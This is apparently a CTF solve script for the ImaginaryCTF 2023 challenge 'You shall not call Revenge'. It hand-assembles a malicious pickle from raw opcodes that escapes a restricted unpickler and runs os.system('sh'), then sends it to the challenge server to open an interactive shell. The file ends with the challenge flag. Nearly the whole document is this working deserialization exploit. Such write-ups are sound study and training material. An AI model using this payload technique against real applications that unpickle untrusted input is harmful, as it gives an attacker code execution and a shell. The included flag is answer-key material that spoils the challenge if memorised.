ImaginaryCTF 2023 - You shall not call Revenge (misc)

solve.py

from pwn import *
import pickletools


def conn() -> tube:
    if args.LOCAL:
        return process(["python", "server.py"])

    return remote("you-shall-not-call-revenge.chal.imaginaryctf.org", 1337)


def main() -> None:
    data = pickle.PROTO + bytes([5])

    # load __main__
    data += pickle.GLOBAL + b"__main__\n__main__\n"

    # memo[0] = SecureUnpickler
    data += pickle.GLOBAL + b"__main__\nSecureUnpickler\n"
    data += pickle.BINPUT + bytes([0])
    data += pickle.POP

    # __main__.__main__ = pickle
    data += pickle.MARK
    data += pickle.UNICODE + b"__main__\n"
    data += pickle.GLOBAL + b"__main__\npickle\n"
    data += pickle.DICT
    data += pickle.BUILD

    # __main__.__main__ = codecs
    data += pickle.MARK
    data += pickle.UNICODE + b"__main__\n"
    data += pickle.GLOBAL + b"__main__\ncodecs\n"  # pickle.codecs
    data += pickle.DICT
    data += pickle.BUILD

    # __main__.__main__ = builtins
    data += pickle.MARK
    data += pickle.UNICODE + b"__main__\n"
    data += pickle.GLOBAL + b"__main__\nbuiltins\n"  # codecs.builtins
    data += pickle.DICT
    data += pickle.BUILD

    # memo[1] = print
    data += pickle.GLOBAL + b"__main__\nprint\n"
    data += pickle.BINPUT + bytes([1])
    data += pickle.POP

    # __main__.__main__ = SecureUnpickler
    data += pickle.MARK
    data += pickle.UNICODE + b"__main__\n"
    data += pickle.BINGET + bytes([0])
    data += pickle.DICT
    data += pickle.BUILD

    # __main__.__main__  = SecureUnpickler.__init__
    data += pickle.MARK
    data += pickle.UNICODE + b"__main__\n"
    data += pickle.GLOBAL + b"__main__\n__init__\n"
    data += pickle.DICT
    data += pickle.BUILD

    # __main__.__main__= memo[2] = SecureUnpickler.__init__.__builtins__
    data += pickle.MARK
    data += pickle.UNICODE + b"__main__\n"
    data += pickle.GLOBAL + b"__main__\n__builtins__\n"
    data += pickle.BINPUT + bytes([2])
    data += pickle.DICT
    data += pickle.BUILD

    # setattr(SecureUnpickler, "find_class", SecureUnpickler.__init__.__builtins__.get)
    data += pickle.BINGET + bytes([0])
    data += pickle.NONE
    data += pickle.MARK
    data += pickle.UNICODE + b"find_class\n"
    data += pickle.GLOBAL + b"__main__\nget\n"
    data += pickle.DICT
    data += pickle.TUPLE2
    data += pickle.BUILD
    data += pickle.POP

    # __main__.__setstate__ = exec
    data += pickle.MARK
    data += pickle.UNICODE + b"__setstate__\n"
    data += pickle.UNICODE + b"exec\n"
    # SecureUnpickler.__init__.__builtins__.update({"type": print, "str": None})
    data += pickle.BINGET + bytes([2])
    data += pickle.MARK
    data += pickle.UNICODE + b"str\n"
    data += pickle.NONE
    data += pickle.UNICODE + b"type\n"
    data += pickle.BINGET + bytes([1])
    data += pickle.SETITEMS
    # find_class("exec", xxxx) -> SecureUnpickler.__init__.__builtins__.get("exec") -> exec
    data += pickle.STACK_GLOBAL
    data += pickle.DICT
    data += pickle.BUILD

    # import os;os.system('sh')
    data += pickle.STRING + b"\"import os;os.system('sh')\"\n"
    data += pickle.BUILD

    data += pickle.STOP

    pickletools.dis(data)

    with conn() as io:
        io.sendlineafter(b"$ ", data.hex().encode())
        io.interactive()


if __name__ == "__main__":
    main()

# ictf{I_h0p3_y0ur_c4ll_f1ll3d_7h3_r3g1str4t10n_f0rm}